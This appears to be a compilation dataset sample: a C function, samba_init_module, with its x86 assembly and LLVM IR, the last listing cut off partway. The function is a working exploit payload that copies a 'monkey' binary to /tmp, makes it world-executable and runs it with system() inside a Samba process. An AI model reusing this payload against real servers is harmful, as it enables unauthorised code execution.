#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  scalar_t__ st_size;
};
typedef scalar_t__ pid_t;
typedef int /*<<< orphan*/ commandline;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
scalar_t__ chdir(char const *);
scalar_t__ chmod(char const *, int const);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fgets(char *, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char const *, char *);
scalar_t__ fork();
int /*<<< orphan*/ fread(void *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ free(void *);
int /*<<< orphan*/ fwrite(void *, int, int, int /*<<< orphan*/ *);
void *malloc(int);
int /*<<< orphan*/ snprintf(char *, int, char *, char const *, char const *);
scalar_t__ stat(char const *, struct stat *);
char *strchr(char *, char);
int strlen(char *);
char *strstr(char *, char const *);
int /*<<< orphan*/ system(char *);
int samba_init_module(void) {
  const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
  const char MONKEY_NAME[] = "monkey64";
  const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
  const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
  const int ACCESS_MODE = 0777;
  const char RUN_MONKEY_CMD[] = "./";
  const char MONKEY_DEST_FOLDER[] = "/tmp";
  const char MONKEY_DEST_NAME[] = "monkey";
  int found = 0;
  char modulePathLine[(2048)] = {'\0'};
  char commandline[(2048)] = {'\0'};
  char *monkeyDirectory = NULL;
  char *fileNamePointer = NULL;
  FILE *pFile = NULL;
  pid_t pid = 0;
  int monkeySize = 0;
  void *monkeyBinary = NULL;
  struct stat fileStats;
  pid = fork();
  if (0 != pid) {
    return 0;
  }
  pFile = fopen("/proc/self/maps", "r");
  if (NULL == pFile) {
    return 0;
  }
  while (fgets(modulePathLine, (2048), pFile) != NULL) {
    fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
    if (fileNamePointer != NULL) {
      found = 1;
      break;
    }
  }
  fclose(pFile);
  if (0 == found) {
    return 0;
  }
  monkeyDirectory = strchr(modulePathLine, '/');
  *fileNamePointer = '\0';
  if (0 != chdir(monkeyDirectory)) {
    return 0;
  }
  pFile = fopen(RUNNER_RESULT_FILENAME, "w");
  if (NULL == pFile) {
    return 0;
  }
  fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
  fclose(pFile);
  pFile = fopen(COMMANDLINE_FILENAME, "r");
  if (NULL == pFile) {
    return 0;
  }
  snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD,
           MONKEY_DEST_NAME);
  fread(commandline + strlen(commandline), 1, (2048), pFile);
  fclose(pFile);
  if (0 != stat(MONKEY_NAME, &fileStats)) {
    return 0;
  }
  monkeySize = (int)fileStats.st_size;
  pFile = fopen(MONKEY_NAME, "rb");
  if (NULL == pFile) {
    return 0;
  }
  monkeyBinary = malloc(monkeySize);
  if (NULL == monkeyBinary) {
    return 0;
  }
  fread(monkeyBinary, 1, monkeySize, pFile);
  fclose(pFile);
  if (0 != chdir(MONKEY_DEST_FOLDER)) {
    return 0;
  }
  pFile = fopen(MONKEY_DEST_NAME, "wb");
  if (NULL == pFile) {
    free(monkeyBinary);
    return 0;
  }
  fwrite(monkeyBinary, 1, monkeySize, pFile);
  fclose(pFile);
  free(monkeyBinary);
  if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE)) {
    return 0;
  }
  system(commandline);
  return 0;
}


x86 assembly (clang, -O0):
<samba_init_module>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10d0,%rsp
mov    0xdde(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0xddb(%rip),%rax
mov    %rax,-0x18(%rbp)
mov    0xdd9(%rip),%eax
mov    %eax,-0x10(%rbp)
mov    0xdd3(%rip),%ax
mov    %ax,-0xc(%rbp)
mov    0xe0b(%rip),%rax
mov    %rax,-0x29(%rbp)
mov    0xe09(%rip),%al
mov    %al,-0x21(%rbp)
mov    0xdc0(%rip),%rax
mov    %rax,-0x40(%rbp)
mov    0xdbd(%rip),%rax
mov    %rax,-0x38(%rbp)
mov    0xdbb(%rip),%eax
mov    %eax,-0x30(%rbp)
mov    0xdb6(%rip),%al
mov    %al,-0x2c(%rbp)
mov    0xdb8(%rip),%rax
mov    %rax,-0x60(%rbp)
mov    0xdb5(%rip),%rax
mov    %rax,-0x58(%rbp)
mov    0xdb3(%rip),%eax
mov    %eax,-0x50(%rbp)
mov    0xdad(%rip),%ax
mov    %ax,-0x4c(%rbp)
mov    0xda5(%rip),%al
mov    %al,-0x4a(%rbp)
movl   $0x1ff,-0x64(%rbp)
mov    0xd9e(%rip),%ax
mov    %ax,-0x67(%rbp)
mov    0xd96(%rip),%al
mov    %al,-0x65(%rbp)
mov    0xd8e(%rip),%eax
mov    %eax,-0x6c(%rbp)
mov    0xd89(%rip),%al
mov    %al,-0x68(%rbp)
mov    0xd81(%rip),%eax
mov    %eax,-0x73(%rbp)
mov    0xd7b(%rip),%ax
mov    %ax,-0x6f(%rbp)
mov    0xd73(%rip),%al
mov    %al,-0x6d(%rbp)
movl   $0x0,-0x78(%rbp)
lea    -0x880(%rbp),%rdi
xor    %esi,%esi
mov    $0x800,%edx
call   10b0 <memset@plt>
lea    -0x1080(%rbp),%rdi
xor    %esi,%esi
mov    $0x800,%edx
call   10b0 <memset@plt>
movq   $0x0,-0x1088(%rbp)
movq   $0x0,-0x1090(%rbp)
movq   $0x0,-0x1098(%rbp)
movq   $0x0,-0x10a0(%rbp)
movl   $0x0,-0x10a4(%rbp)
movq   $0x0,-0x10b0(%rbp)
mov    $0x0,%al
call   1120 <fork@plt>
mov    %rax,-0x10a0(%rbp)
xor    %eax,%eax
cmp    -0x10a0(%rbp),%rax
je     1395 <samba_init_module+0x185>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    0xcd3(%rip),%rdi
lea    0xcdc(%rip),%rsi
call   1100 <fopen@plt>
mov    %rax,-0x1098(%rbp)
xor    %eax,%eax
cmp    -0x1098(%rbp),%rax
jne    13ca <samba_init_module+0x1ba>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
jmp    13cf <samba_init_module+0x1bf>
lea    -0x880(%rbp),%rdi
mov    -0x1098(%rbp),%rdx
mov    $0x800,%esi
call   10c0 <fgets@plt>
cmp    $0x0,%rax
je     1427 <samba_init_module+0x217>
lea    -0x880(%rbp),%rdi
lea    -0x20(%rbp),%rsi
call   1130 <strstr@plt>
mov    %rax,-0x1090(%rbp)
cmpq   $0x0,-0x1090(%rbp)
je     1422 <samba_init_module+0x212>
movl   $0x1,-0x78(%rbp)
jmp    1427 <samba_init_module+0x217>
jmp    13cf <samba_init_module+0x1bf>
mov    -0x1098(%rbp),%rdi
call   1050 <fclose@plt>
xor    %eax,%eax
cmp    -0x78(%rbp),%eax
jne    144a <samba_init_module+0x23a>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    -0x880(%rbp),%rdi
mov    $0x2f,%esi
call   1090 <strchr@plt>
mov    %rax,-0x1088(%rbp)
mov    -0x1090(%rbp),%rax
movb   $0x0,(%rax)
mov    -0x1088(%rbp),%rdi
call   1070 <chdir@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    %rcx,%rax
je     1492 <samba_init_module+0x282>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    -0x40(%rbp),%rdi
lea    0xbe4(%rip),%rsi
call   1100 <fopen@plt>
mov    %rax,-0x1098(%rbp)
xor    %eax,%eax
cmp    -0x1098(%rbp),%rax
jne    14c4 <samba_init_module+0x2b4>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
mov    -0x1088(%rbp),%rax
mov    %rax,-0x10c0(%rbp)
mov    -0x1088(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x10c0(%rbp),%rdi
mov    %eax,%edx
mov    -0x1098(%rbp),%rcx
mov    $0x1,%esi
call   1110 <fwrite@plt>
mov    -0x1098(%rbp),%rdi
call   1050 <fclose@plt>
lea    -0x60(%rbp),%rdi
lea    0xb70(%rip),%rsi
call   1100 <fopen@plt>
mov    %rax,-0x1098(%rbp)
xor    %eax,%eax
cmp    -0x1098(%rbp),%rax
jne    1536 <samba_init_module+0x326>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    -0x1080(%rbp),%rdi
lea    -0x67(%rbp),%rcx
lea    -0x73(%rbp),%r8
mov    $0x800,%esi
lea    0xb32(%rip),%rdx
call   10a0 <snprintf@plt>
lea    -0x1080(%rbp),%rax
mov    %rax,-0x10c8(%rbp)
lea    -0x1080(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x10c8(%rbp),%rdi
cltq
add    %rax,%rdi
mov    -0x1098(%rbp),%rcx
mov    $0x1,%esi
mov    $0x800,%edx
call   1040 <fread@plt>
mov    -0x1098(%rbp),%rdi
call   1050 <fclose@plt>
lea    -0x29(%rbp),%rdi
lea    -0x10b8(%rbp),%rsi
call   10d0 <stat@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    %rcx,%rax
je     15c8 <samba_init_module+0x3b8>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
mov    -0x10b8(%rbp),%rax
mov    %eax,-0x10a4(%rbp)
lea    -0x29(%rbp),%rdi
lea    0xaa9(%rip),%rsi
call   1100 <fopen@plt>
mov    %rax,-0x1098(%rbp)
xor    %eax,%eax
cmp    -0x1098(%rbp),%rax
jne    1607 <samba_init_module+0x3f7>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
mov    -0x10a4(%rbp),%edi
call   10e0 <malloc@plt>
mov    %rax,-0x10b0(%rbp)
xor    %eax,%eax
cmp    -0x10b0(%rbp),%rax
jne    1634 <samba_init_module+0x424>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
mov    -0x10b0(%rbp),%rdi
mov    -0x10a4(%rbp),%edx
mov    -0x1098(%rbp),%rcx
mov    $0x1,%esi
call   1040 <fread@plt>
mov    -0x1098(%rbp),%rdi
call   1050 <fclose@plt>
lea    -0x6c(%rbp),%rdi
call   1070 <chdir@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    %rcx,%rax
je     1681 <samba_init_module+0x471>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    -0x73(%rbp),%rdi
lea    0xa00(%rip),%rsi
call   1100 <fopen@plt>
mov    %rax,-0x1098(%rbp)
xor    %eax,%eax
cmp    -0x1098(%rbp),%rax
jne    16bf <samba_init_module+0x4af>
mov    -0x10b0(%rbp),%rdi
call   1030 <free@plt>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
mov    -0x10b0(%rbp),%rdi
mov    -0x10a4(%rbp),%edx
mov    -0x1098(%rbp),%rcx
mov    $0x1,%esi
call   1110 <fwrite@plt>
mov    -0x1098(%rbp),%rdi
call   1050 <fclose@plt>
mov    -0x10b0(%rbp),%rdi
call   1030 <free@plt>
lea    -0x73(%rbp),%rdi
mov    $0x1ff,%esi
call   10f0 <chmod@plt>
mov    %rax,%rcx
xor    %eax,%eax
cmp    %rcx,%rax
je     171d <samba_init_module+0x50d>
movl   $0x0,-0x4(%rbp)
jmp    1730 <samba_init_module+0x520>
lea    -0x1080(%rbp),%rdi
call   1080 <system@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10d0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<samba_init_module>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x1078,%rsp
movabs $0x343679656b6e6f6d,%rax
79 36 34
mov    %rax,0x18(%rsp)
movb   $0x0,0x20(%rsp)
movaps 0xde8(%rip),%xmm0
movaps %xmm0,0x30(%rsp)
movabs $0x746c757365725f,%rax
mov    %rax,0x3d(%rsp)
movaps 0xded(%rip),%xmm0
movaps %xmm0,0x50(%rsp)
movabs $0x7478742e656e69,%rax
mov    %rax,0x5f(%rsp)
movb   $0x0,0x6(%rsp)
movw   $0x2f2e,0x4(%rsp)
movb   $0x0,0x14(%rsp)
movl   $0x706d742f,0x10(%rsp)
70
movl   $0x79656b,0xb(%rsp)
movl   $0x6b6e6f6d,0x8(%rsp)
6b
lea    0x870(%rsp),%rdi
mov    $0x800,%edx
xor    %esi,%esi
call   10b0 <memset@plt>
lea    0x70(%rsp),%rdi
mov    $0x800,%edx
xor    %esi,%esi
call   10b0 <memset@plt>
xor    %eax,%eax
call   1120 <fork@plt>
test   %rax,%rax
je     12d1 <samba_init_module+0xc1>
xor    %eax,%eax
add    $0x1078,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd97(%rip),%rdi
lea    0xda0(%rip),%rsi
call   1100 <fopen@plt>
test   %rax,%rax
je     12c1 <samba_init_module+0xb1>
mov    %rax,%rbx
lea    0x870(%rsp),%r15
lea    0xd05(%rip),%r14
nopl   0x0(%rax,%rax,1)
mov    %r15,%rdi
mov    $0x800,%esi
mov    %rbx,%rdx
call   10c0 <fgets@plt>
test   %rax,%rax
je     14e4 <samba_init_module+0x2d4>
mov    %r15,%rdi
mov    %r14,%rsi
call   1130 <strstr@plt>
test   %rax,%rax
je     1300 <samba_init_module+0xf0>
mov    %rax,%rbp
mov    %rbx,%rdi
call   1050 <fclose@plt>
lea    0x870(%rsp),%rdi
mov    $0x2f,%esi
call   1090 <strchr@plt>
mov    %rax,%rbx
movb   $0x0,0x0(%rbp)
mov    %rax,%rdi
call   1070 <chdir@plt>
test   %rax,%rax
jne    12c1 <samba_init_module+0xb1>
lea    0xd1c(%rip),%rsi
lea    0x30(%rsp),%rdi
call   1100 <fopen@plt>
test   %rax,%rax
je     12c1 <samba_init_module+0xb1>
mov    %rax,%rbp
mov    %rbx,%rdi
call   1060 <strlen@plt>
mov    %rbx,%rdi
mov    $0x1,%esi
mov    %eax,%edx
mov    %rbp,%rcx
call   1110 <fwrite@plt>
mov    %rbp,%rdi
call   1050 <fclose@plt>
lea    0xcdb(%rip),%rsi
lea    0x50(%rsp),%rdi
call   1100 <fopen@plt>
test   %rax,%rax
je     12c1 <samba_init_module+0xb1>
mov    %rax,%rbx
lea    0xcc2(%rip),%rdx
lea    0x70(%rsp),%rbp
lea    0x4(%rsp),%rcx
lea    0x8(%rsp),%r8
mov    %rbp,%rdi
mov    $0x800,%esi
call   10a0 <snprintf@plt>
mov    %rbp,%rdi
call   1060 <strlen@plt>
cltq
lea    (%rsp,%rax,1),%rdi
add    $0x70,%rdi
mov    $0x1,%esi
mov    $0x800,%edx
mov    %rbx,%rcx
call   1040 <fread@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
lea    0x18(%rsp),%rdi
lea    0x28(%rsp),%rsi
call   10d0 <stat@plt>
test   %rax,%rax
jne    12c1 <samba_init_module+0xb1>
mov    0x28(%rsp),%ebp
lea    0xc5d(%rip),%rsi
lea    0x18(%rsp),%rdi
call   1100 <fopen@plt>
test   %rax,%rax
je     12c1 <samba_init_module+0xb1>
mov    %rax,%rbx
mov    %ebp,%edi
call   10e0 <malloc@plt>
test   %rax,%rax
je     12c1 <samba_init_module+0xb1>
mov    %rax,%r14
mov    %rax,%rdi
mov    $0x1,%esi
mov    %ebp,%edx
mov    %rbx,%rcx
call   1040 <fread@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
lea    0x10(%rsp),%rdi
call   1070 <chdir@plt>
test   %rax,%rax
jne    12c1 <samba_init_module+0xb1>
lea    0xc03(%rip),%rsi
lea    0x8(%rsp),%rdi
call   1100 <fopen@plt>
test   %rax,%rax
je     14f1 <samba_init_module+0x2e1>
mov    %rax,%rbx
mov    %r14,%rdi
mov    $0x1,%esi
mov    %ebp,%edx
mov    %rax,%rcx
call   1110 <fwrite@plt>
mov    %rbx,%rdi
call   1050 <fclose@plt>
mov    %r14,%rdi
call   1030 <free@plt>
lea    0x8(%rsp),%rdi
mov    $0x1ff,%esi
call   10f0 <chmod@plt>
test   %rax,%rax
jne    12c1 <samba_init_module+0xb1>
lea    0x70(%rsp),%rdi
call   1080 <system@plt>
jmp    12c1 <samba_init_module+0xb1>
mov    %rbx,%rdi
call   1050 <fclose@plt>
jmp    12c1 <samba_init_module+0xb1>
mov    %r14,%rdi
call   1030 <free@plt>
jmp    12c1 <samba_init_module+0xb1>

LLVM IR (-O0):
%struct.stat = type { i64 }
@__const.samba_init_module.RUNNER_FILENAME = [22 x i8] c"sc_monkey_runner64.so\00"
@__const.samba_init_module.MONKEY_NAME = [9 x i8] c"monkey64\00"
@__const.samba_init_module.RUNNER_RESULT_FILENAME = [21 x i8] c"monkey_runner_result\00"
@__const.samba_init_module.COMMANDLINE_FILENAME = [23 x i8] c"monkey_commandline.txt\00"
@__const.samba_init_module.RUN_MONKEY_CMD = [3 x i8] c"./\00"
@__const.samba_init_module.MONKEY_DEST_FOLDER = [5 x i8] c"/tmp\00"
@__const.samba_init_module.MONKEY_DEST_NAME = [7 x i8] c"monkey\00"
@.str = [16 x i8] c"/proc/self/maps\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [2 x i8] c"w\00"
@.str.3 = [6 x i8] c"%s%s \00"
@.str.4 = [3 x i8] c"rb\00"
@.str.5 = [3 x i8] c"wb\00"
define i32 @samba_init_module() {
%1 = alloca i32
%2 = alloca [22 x i8]
%3 = alloca [9 x i8]
%4 = alloca [21 x i8]
%5 = alloca [23 x i8]
%6 = alloca i32
%7 = alloca [3 x i8]
%8 = alloca [5 x i8]
%9 = alloca [7 x i8]
%10 = alloca i32
%11 = alloca [2048 x i8]
%12 = alloca [2048 x i8]
%13 = alloca i8*
%14 = alloca i8*
%15 = alloca i32*
%16 = alloca i64
%17 = alloca i32
%18 = alloca i8*
%19 = alloca %struct.stat
%20 = bitcast [22 x i8]* %2 to i8*
%21 = bitcast [9 x i8]* %3 to i8*
%22 = bitcast [21 x i8]* %4 to i8*
%23 = bitcast [23 x i8]* %5 to i8*
store i32 511, i32* %6
%24 = bitcast [3 x i8]* %7 to i8*
%25 = bitcast [5 x i8]* %8 to i8*
%26 = bitcast [7 x i8]* %9 to i8*
store i32 0, i32* %10
%27 = bitcast [2048 x i8]* %11 to i8*
%28 = bitcast [2048 x i8]* %12 to i8*
store i8* null, i8** %13
store i8* null, i8** %14
store i32* null, i32** %15
store i64 0, i64* %16
store i32 0, i32* %17
store i8* null, i8** %18
%29 = call i64 (...) @fork()
store i64 %29, i64* %16
%30 = load i64, i64* %16
%31 = icmp ne i64 0, %30
br i1 %31, label %32, label %33
32: ; preds = %0
store i32 0, i32* %1
br label %153
33: ; preds = %0
%34 = call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %34, i32** %15
%35 = load i32*, i32** %15
%36 = icmp eq i32* null, %35
br i1 %36, label %37, label %38
37: ; preds = %33
store i32 0, i32* %1
br label %153
38: ; preds = %33
br label %39
39: ; preds = %51, %38
%40 = getelementptr inbounds [2048 x i8], [2048 x i8]* %11, i64 0, i64 0
%41 = load i32*, i32** %15
%42 = call i32* @fgets(i8* %40, i32 2048, i32* %41)
%43 = icmp ne i32* %42, null
br i1 %43, label %44, label %52
44: ; preds = %39
%45 = getelementptr inbounds [2048 x i8], [2048 x i8]* %11, i64 0, i64 0
%46 = getelementptr inbounds [22 x i8], [22 x i8]* %2, i64 0, i64 0
%47 = call i8* @strstr(i8* %45, i8* %46)
store i8* %47, i8** %14
%48 = load i8*, i8** %14
%49 = icmp ne i8* %48, null
br i1 %49, label %50, label %51
50: ; preds = %44
store i32 1, i32* %10
br label %52
51: ; preds = %44
br label %39
52: ; preds = %50, %39
%53 = load i32*, i32** %15
%54 = call i32 @fclose(i32* %53)
%55 = load i32, i32* %10
%56 = icmp eq i32 0, %55
br i1 %56, label %57, label %58
57: ; preds = %52
store i32 0, i32* %1
br label %153
58: ; preds = %52
%59 = getelementptr inbounds [2048 x i8], [2048 x i8]* %11, i64 0, i64 0
%60 = call i8* @strchr(i8* %59, i8 signext 47)
store i8* %60, i8** %13
%61 = load i8*, i8** %14
store i8 0, i8* %61
%62 = load i8*, i8** %13
%63 = call i64 @chdir(i8* %62)
%64 = icmp ne i64 0, %63
br i1 %64, label %65, label %66
65: ; preds = %58
store i32 0, i32* %1
br label %153
66: ; preds = %58
%67 = getelementptr inbounds [21 x i8], [21 x i8]* %4, i64 0, i64 0
%68 = call i32* @fopen(i8* %67, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
store i32* %68, i32** %15
%69 = load i32*, i32** %15
%70 = icmp eq i32* null, %69
br i1 %70, label %71, label %72
71: ; preds = %66
store i32 0, i32* %1
br label %153
72: ; preds = %66
%73 = load i8*, i8** %13
%74 = load i8*, i8** %13
%75 = call i32 @strlen(i8* %74)
%76 = load i32*, i32** %15
%77 = call i32 @fwrite(i8* %73, i32 1, i32 %75, i32* %76)
%78 = load i32*, i32** %15
%79 = call i32 @fclose(i32* %78)
%80 = getelementptr inbounds [23 x i8], [23 x i8]* %5, i64 0, i64 0
%81 = call i32* @fopen(i8* %80, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %81, i32** %15
%82 = load i32*, i32** %15
%83 = icmp eq i32* null, %82
br i1 %83, label %84, label %85
84: ; preds = %72
store i32 0, i32* %1
br label %153
85: ; preds = %72
%86 = getelementptr inbounds [2048 x i8], [2048 x i8]* %12, i64 0, i64 0
%87 = getelementptr inbounds [3 x i8], [3 x i8]* %7, i64 0, i64 0
%88 = getelementptr inbounds [7 x i8], [7 x i8]* %9, i64 0, i64 0
%89 = call i32 @snprintf(i8* %86, i32 2048, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i8* %87, i8* %88)
%90 = getelementptr inbounds [2048 x i8], [2048 x i8]* %12, i64 0, i64 0
%91 = getelementptr inbounds [2048 x i8], [2048 x i8]* %12, i64 0, i64 0
%92 = call i32 @strlen(i8* %91)
%93 = sext i32 %92 to i64
%94 = getelementptr inbounds i8, i8* %90, i64 %93
%95 = load i32*, i32** %15
%96 = call i32 @fread(i8* %94, i32 1, i32 2048, i32* %95)
%97 = load i32*, i32** %15
%98 = call i32 @fclose(i32* %97)
%99 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
%100 = call i64 @stat(i8* %99, %struct.stat* %19)
%101 = icmp ne i64 0, %100
br i1 %101, label %102, label %103
102: ; preds = %85
store i32 0, i32* %1
br label %153
103: ; preds = %85
%104 = getelementptr inbounds %struct.stat, %struct.stat* %19, i32 0, i32 0
%105 = load i64, i64* %104
%106 = trunc i64 %105 to i32
store i32 %106, i32* %17
%107 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
%108 = call i32* @fopen(i8* %107, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.4, i64 0, i64 0))
store i32* %108, i32** %15
%109 = load i32*, i32** %15
%110 = icmp eq i32* null, %109
br i1 %110, label %111, label %112
111: ; preds = %103
store i32 0, i32* %1
br label %153
112: ; preds = %103
%113 = load i32, i32* %17
%114 = call i8* @malloc(i32 %113)
store i8* %114, i8** %18
%115 = load i8*, i8** %18
%116 = icmp eq i8* null, %115
br i1 %116, label %117, label %118
117: ; preds = %112
store i32 0, i32* %1
br label %153
118: ; preds = %112
%119 = load i8*, i8** %18
%120 = load i32, i32* %17
%121 = load i32*, i32** %15
%122 = call i32 @fread(i8* %119, i32 1, i32 %120, i32* %121)
%123 = load i32*, i32** %15
%124 = call i32 @fclose(i32* %123)
%125 = getelementptr inbounds [5 x i8], [5 x i8]* %8, i64 0, i64 0
%126 = call i64 @chdir(i8* %125)
%127 = icmp ne i64 0, %126
br i1 %127, label %128, label %129
128: ; preds = %118
store i32 0, i32* %1
br label %153
129: ; preds = %118
%130 = getelementptr inbounds [7 x i8], [7 x i8]* %9, i64 0, i64 0
%131 = call i32* @fopen(i8* %130, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
store i32* %131, i32** %15
%132 = load i32*, i32** %15
%133 = icmp eq i32* null, %132
br i1 %133, label %134, label %137
134: ; preds = %129
%135 = load i8*, i8** %18
%136 = call i32 @free(i8* %135)
store i32 0, i32* %1
br label %153
137: ; preds = %129
%138 = load i8*, i8** %18
%139 = load i32, i32* %17
%140 = load i32*, i32** %15
%141 = call i32 @fwrite(i8* %138, i32 1, i32 %139, i32* %140)
%142 = load i32*, i32** %15
%143 = call i32 @fclose(i32* %142)
%144 = load i8*, i8** %18
%145 = call i32 @free(i8* %144)
%146 = getelementptr inbounds [7 x i8], [7 x i8]* %9, i64 0, i64 0
%147 = call i64 @chmod(i8* %146, i32 511)
%148 = icmp ne i64 0, %147
br i1 %148, label %149, label %150
149: ; preds = %137
store i32 0, i32* %1
br label %153
150: ; preds = %137
%151 = getelementptr inbounds [2048 x i8], [2048 x i8]* %12, i64 0, i64 0
%152 = call i32 @system(i8* %151)
store i32 0, i32* %1
br label %153
153: ; preds = %150, %149, %134, %128, %117, %111, %102, %84, %71, %65, %57, %37, %32
%154 = load i32, i32* %1
ret i32 %154
}

LLVM IR (-O2):
%struct.stat = type { i64 }
@__const.samba_init_module.RUNNER_FILENAME = [22 x i8] c"sc_monkey_runner64.so\00"
@__const.samba_init_module.MONKEY_NAME = [9 x i8] c"monkey64\00"
@__const.samba_init_module.RUNNER_RESULT_FILENAME = [21 x i8] c"monkey_runner_result\00"
@__const.samba_init_module.COMMANDLINE_FILENAME = [23 x i8] c"monkey_commandline.txt\00"
@__const.samba_init_module.RUN_MONKEY_CMD = [3 x i8] c"./\00"
@__const.samba_init_module.MONKEY_DEST_FOLDER = [5 x i8] c"/tmp\00"
@__const.samba_init_module.MONKEY_DEST_NAME = [7 x i8] c"monkey\00"
@.str = [16 x i8] c"/proc/self/maps\00"
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [2 x i8] c"w\00"
@.str.3 = [6 x i8] c"%s%s \00"
@.str.4 = [3 x i8] c"rb\00"
@.str.5 = [3 x i8] c"wb\00"
define i32 @samba_init_module() {
%1 = alloca [9 x i8]
%2 = alloca [21 x i8]
%3 = alloca [23 x i8]
%4 = alloca [3 x i8]
%5 = alloca [5 x i8]
%6 = alloca [7 x i8]
%7 = alloca [2048 x i8]
%8 = alloca [2048 x i8]
%9 = alloca %struct.stat
%10 = getelementptr inbounds [9 x i8], [9 x i8]* %1, i64 0, i64 0
%11 = getelementptr inbounds [21 x i8], [21 x i8]* %2, i64 0, i64 0
%12 = getelementptr inbounds [23 x i8], [23 x i8]* %3, i64 0, i64 0
%13 = getelementptr inbounds [3 x i8], [3 x i8]* %4, i64 0, i64 0
%14 = getelementptr inbounds [5 x i8], [5 x i8]* %5, i64 0, i64 0
%15 = getelementptr inbounds [7 x i8], [7 x i8]* %6, i64 0, i64 0
%16 = getelementptr inbounds [2048 x i8], [2048 x i8]* %7, i64 0, i64 0
%17 = getelementptr inbounds [2048 x i8], [2048 x i8]* %8, i64 0, i64 0
%18 = bitcast %struct.stat* %9 to i8*
%19 = tail call i64 (...) @fork()
%20 = icmp eq i64 %19, 0
br i1 %20, label %21, label %82
21: ; preds = %0
%22 = tail call i32* @fopen(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%23 = icmp eq i32* %22, null
br i1 %23, label %82, label %24
24: ; preds = %21, %29
%25 = call i32* @fgets(i8* %16, i32 2048, i32* %22)
%26 = icmp eq i32* %25, null
br i1 %26, label %27, label %29
27: ; preds = %24
%28 = call i32 @fclose(i32* %22)
br label %82
29: ; preds = %24
%30 = call i8* @strstr(i8* %16, i8* dereferenceable(1) getelementptr inbounds ([22 x i8], [22 x i8]* @__const.samba_init_module.RUNNER_FILENAME, i64 0, i64 0))
%31 = icmp eq i8* %30, null
br i1 %31, label %24, label %32
32: ; preds = %29
%33 = call i32 @fclose(i32* %22)
%34 = call i8* @strchr(i8* %16, i8 signext 47)
store i8 0, i8* %30
%35 = call i64 @chdir(i8* %34)
%36 = icmp eq i64 %35, 0
br i1 %36, label %37, label %82
37: ; preds = %32
%38 = call i32* @fopen(i8* %11, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%39 = icmp eq i32* %38, null
br i1 %39, label %82, label %40
40: ; preds = %37
%41 = call i32 @strlen(i8* %34)
%42 = call i32 @fwrite(i8* %34, i32 1, i32 %41, i32* %38)
%43 = call i32 @fclose(i32* %38)
%44 = call i32* @fopen(i8* %12, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%45 = icmp eq i32* %44, null
br i1 %45, label %82, label %46
46: ; preds = %40
%47 = call i32 @snprintf(i8* %17, i32 2048, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i8* %13, i8* %15)
%48 = call i32 @strlen(i8* %17)
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds [2048 x i8], [2048 x i8]* %8, i64 0, i64 %49
%51 = call i32 @fread(i8* %50, i32 1, i32 2048, i32* %44)
%52 = call i32 @fclose(i32* %44)
